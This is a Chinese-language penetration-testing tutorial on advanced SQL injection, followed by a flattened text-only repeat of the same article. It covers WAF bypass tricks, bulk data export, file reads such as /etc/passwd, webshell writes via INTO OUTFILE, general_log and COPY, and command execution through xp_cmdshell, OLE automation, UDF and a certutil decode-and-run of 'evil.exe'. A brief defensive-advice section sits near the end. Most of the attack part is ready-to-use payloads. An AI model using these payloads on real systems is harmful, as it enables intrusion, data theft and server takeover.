渗透经验分享之SQL注入思路拓展
字数 1938 2025-08-20 18:18:23

SQL注入高级技巧与实战思路拓展

1. SQL注入常见场景分析

1.1 常见注入点识别

  1. 搜索功能注入

    • 开发人员可能直接拼接SQL语句而非使用预编译
    • 典型SQL语句示例:
      SELECT p.* FROM {p}_page AS p WHERE p.[title] like N'%用户输入%'
      
  2. ORDER BY注入

    • ORDER BY后不能参数化,是常见注入点
    • 重点关注sort、orderby等参数
  3. 日期类型参数注入

    • 未强制类型转换的日期参数易产生注入
    • 示例:
      SELECT * FROM wp_posts WHERE post_date BETWEEN '用户输入' AND '用户输入'
      
  4. 其他易忽略点

    • 语言参数(lang=cn)
    • LIMIT子句
    • 任何未经验证的用户输入参数

2. WAF绕过技术详解

2.1 WAF检测原理分析

  1. 分段测试法

    • 测试select user()被拦截
    • 修改为selact user()测试是否拦截
    • 修改为select usar()测试是否拦截
    • 确定拦截规则(如/select.*?user/正则)
  2. 绕过技巧

    • 大小写变形:SeLeCt
    • 关键字替换:user() → usar()
    • 注释插入:sel/xxx/ect
    • 空白字符:s e l e c t
    • 编码混淆:%53%45%4C%45%43%54
  3. 高级绕过

    • 利用数据库特性:MySQL内联注释/*!50000select*/
    • 利用中间件解析特性:IIS的%解码特性
    • 非常规语法:+user()(SQL Server)

3. 高效数据定位技术

3.1 大型数据库快速定位技巧

  1. sqlmap搜索功能

    --search -D 数据库名    # 搜索特定数据库
    --search -T            # 搜索表名
    --search -C            # 搜索列名
    
  2. 关键字段搜索

    • username/password/credential/admin等敏感字段
    • user/customer/member等用户相关表
    • config/setting等配置表
  3. 系统表查询

    • MySQL: information_schema
    • SQL Server: sysobjects/syscolumns
    • Oracle: all_tables/all_tab_columns

4. 大数据表导出技术

4.1 高效数据导出方法

  1. MySQL导出

    • mysqldump工具:
      mysqldump -u用户 -p密码 数据库 > backup.sql
      
    • 站库分离时上传mysqldump到Web服务器
  2. MSSQL导出

    • 直接导出MDF文件
    • osql/bcp命令导出数据
    • 示例:
      EXEC master..xp_cmdshell 'bcp "SELECT * FROM 数据库..表名" queryout c:\data.txt -c -T'
      
  3. Oracle导出

    • exp/expdp工具
    • 使用UTL_FILE包导出

5. 文件读写技术详解

5.1 MySQL文件操作

  1. 文件读取

    • load data infile/load data local infile
      LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test FIELDS TERMINATED BY '\n'
      
    • 读取MySQL凭据:user.MYD文件
  2. 文件写入

    • into outfile/into dumpfile
      SELECT '<?php phpinfo();?>' INTO OUTFILE '/var/www/shell.php'
      
    • 日志文件写入:
      SET global general_log_file='/var/www/shell.php';
      SET global general_log=on;
      SELECT '<?php phpinfo();?>';
      
  3. UDF提权

    • 上传自定义函数库
    • 创建函数执行系统命令

5.2 MSSQL文件操作

  1. 目录列举

    EXEC xp_dirtree 'c:\',1,1
    EXEC xp_subdirs 'c:\'
    
  2. 文件写入

    • xp_cmdshell写入:
      EXEC xp_cmdshell 'echo 1 > c:\1.txt'
      
    • OLE自动化写入:
      DECLARE @o INT, @f INT, @t INT, @ret INT
      EXEC sp_oacreate 'scripting.filesystemobject', @o OUT
      EXEC sp_oamethod @o, 'createtextfile', @f OUT, 'c:\www\1.aspx', 1
      EXEC @ret = sp_oamethod @f, 'writeline', NULL, '<%@ Page Language="C#"%>'
      
  3. 文件读取

    CREATE TABLE cmd (a text)
    BULK INSERT cmd FROM 'd:\config.aspx' WITH (FIELDTERMINATOR='\n',ROWTERMINATOR='\n\n')
    SELECT * FROM cmd
    

5.3 PostgreSQL文件操作

  1. 文件读取

    CREATE TABLE temp(t text);
    COPY temp FROM '/etc/passwd';
    SELECT * FROM temp;
    
  2. 文件写入

    COPY (SELECT '<?php phpinfo();?>') TO '/var/www/shell.php';
    

6. 命令执行技术

6.1 MySQL命令执行

  1. UDF提权

    • 上传lib_mysqludf_sys.so/.dll
    • 创建函数:
      CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so'
      SELECT sys_exec('id');
      
  2. MOF提权

    • 写入恶意MOF文件到/etc/mysql/C:\Windows\System32\wbem\MOF\
    • 利用Windows Management Instrumentation执行命令

6.2 MSSQL命令执行

  1. xp_cmdshell

    EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
    EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
    EXEC xp_cmdshell 'whoami';
    
  2. OLE自动化

    DECLARE @r INT
    EXEC sp_oacreate 'wscript.shell', @r OUT
    EXEC sp_oamethod @r, 'run', NULL, 'cmd /c whoami > c:\out.txt'
    
  3. CLR集成

    • 上传恶意.NET程序集
    • 创建CLR存储过程执行命令
  4. 特殊技巧

    • 证书转Base64写入:
      EXEC xp_cmdshell 'echo BASE64编码 > c:\temp.txt'
      EXEC xp_cmdshell 'certutil -decode c:\temp.txt c:\evil.exe'
      EXEC xp_cmdshell 'c:\evil.exe'
      

7. 注入拓展利用场景

  1. 配合文件上传

    • 通过注入查询文件存储路径
    • 结合sqlmap的--sql-shell定位上传文件
  2. 站库分离利用

    • 数据库服务器无Web时:
      • 写入DNS马
      • 写入启动项
      • DLL劫持
  3. 横向移动

    • 读取数据库连接配置
    • 获取其他系统凭据
    • 通过数据库服务器跳板内网

8. 防御建议

  1. 开发层面

    • 所有SQL查询使用参数化查询
    • 避免动态拼接SQL语句
    • 对ORDER BY等不可参数化部分严格过滤
  2. 权限控制

    • 数据库账户最小权限原则
    • 禁用不必要的存储过程(xp_cmdshell等)
    • 限制文件读写权限
  3. 防护措施

    • 部署WAF并定期更新规则
    • 启用数据库审计日志
    • 定期安全扫描与渗透测试

9. 总结

SQL注入不仅是简单的数据查询漏洞,通过深入利用可以实现:

  • 敏感数据窃取
  • 文件系统读写
  • 系统命令执行
  • 内网横向移动

渗透测试中应重点关注:

  1. 所有用户输入点的测试
  2. WAF规则的探测与绕过
  3. 数据库权限的利用与提升
  4. 由注入点到整个系统的控制链构建

防御方则应建立纵深防御体系,从代码层、数据库层、网络层等多维度防护SQL注入风险。

SQL注入高级技巧与实战思路拓展 1. SQL注入常见场景分析 1.1 常见注入点识别 搜索功能注入 : 开发人员可能直接拼接SQL语句而非使用预编译 典型SQL语句示例: ORDER BY注入 : ORDER BY后不能参数化,是常见注入点 重点关注sort、orderby等参数 日期类型参数注入 : 未强制类型转换的日期参数易产生注入 示例: 其他易忽略点 : 语言参数(lang=cn) LIMIT子句 任何未经验证的用户输入参数 2. WAF绕过技术详解 2.1 WAF检测原理分析 分段测试法 : 测试 select user() 被拦截 修改为 selact user() 测试是否拦截 修改为 select usar() 测试是否拦截 确定拦截规则(如 /select.*?user/ 正则) 绕过技巧 : 大小写变形:SeLeCt 关键字替换:user() → usar() 注释插入:sel/ xxx /ect 空白字符:s e l e c t 编码混淆:%53%45%4C%45%43%54 高级绕过 : 利用数据库特性:MySQL内联注释 /*!50000select*/ 利用中间件解析特性:IIS的%解码特性 非常规语法: +user() (SQL Server) 3. 高效数据定位技术 3.1 大型数据库快速定位技巧 sqlmap搜索功能 : 关键字段搜索 : username/password/credential/admin等敏感字段 user/customer/member等用户相关表 config/setting等配置表 系统表查询 : MySQL: information_ schema SQL Server: sysobjects/syscolumns Oracle: all_ tables/all_ tab_ columns 4. 大数据表导出技术 4.1 高效数据导出方法 MySQL导出 : mysqldump工具: 站库分离时上传mysqldump到Web服务器 MSSQL导出 : 直接导出MDF文件 osql/bcp命令导出数据 示例: Oracle导出 : exp/expdp工具 使用UTL_ FILE包导出 5. 文件读写技术详解 5.1 MySQL文件操作 文件读取 : load data infile / load data local infile 读取MySQL凭据: user.MYD 文件 文件写入 : into outfile / into dumpfile 日志文件写入: UDF提权 : 上传自定义函数库 创建函数执行系统命令 5.2 MSSQL文件操作 目录列举 : 文件写入 : xp_ cmdshell写入: OLE自动化写入: 文件读取 : 5.3 PostgreSQL文件操作 文件读取 : 文件写入 : 6. 命令执行技术 6.1 MySQL命令执行 UDF提权 : 上传lib_ mysqludf_ sys.so/.dll 创建函数: MOF提权 : 写入恶意MOF文件到 /etc/mysql/ 或 C:\Windows\System32\wbem\MOF\ 利用Windows Management Instrumentation执行命令 6.2 MSSQL命令执行 xp_ cmdshell : OLE自动化 : CLR集成 : 上传恶意.NET程序集 创建CLR存储过程执行命令 特殊技巧 : 证书转Base64写入: 7. 注入拓展利用场景 配合文件上传 : 通过注入查询文件存储路径 结合sqlmap的 --sql-shell 定位上传文件 站库分离利用 : 数据库服务器无Web时: 写入DNS马 写入启动项 DLL劫持 横向移动 : 读取数据库连接配置 获取其他系统凭据 通过数据库服务器跳板内网 8. 防御建议 开发层面 : 所有SQL查询使用参数化查询 避免动态拼接SQL语句 对ORDER BY等不可参数化部分严格过滤 权限控制 : 数据库账户最小权限原则 禁用不必要的存储过程(xp_ cmdshell等) 限制文件读写权限 防护措施 : 部署WAF并定期更新规则 启用数据库审计日志 定期安全扫描与渗透测试 9. 总结 SQL注入不仅是简单的数据查询漏洞,通过深入利用可以实现: 敏感数据窃取 文件系统读写 系统命令执行 内网横向移动 渗透测试中应重点关注: 所有用户输入点的测试 WAF规则的探测与绕过 数据库权限的利用与提升 由注入点到整个系统的控制链构建 防御方则应建立纵深防御体系,从代码层、数据库层、网络层等多维度防护SQL注入风险。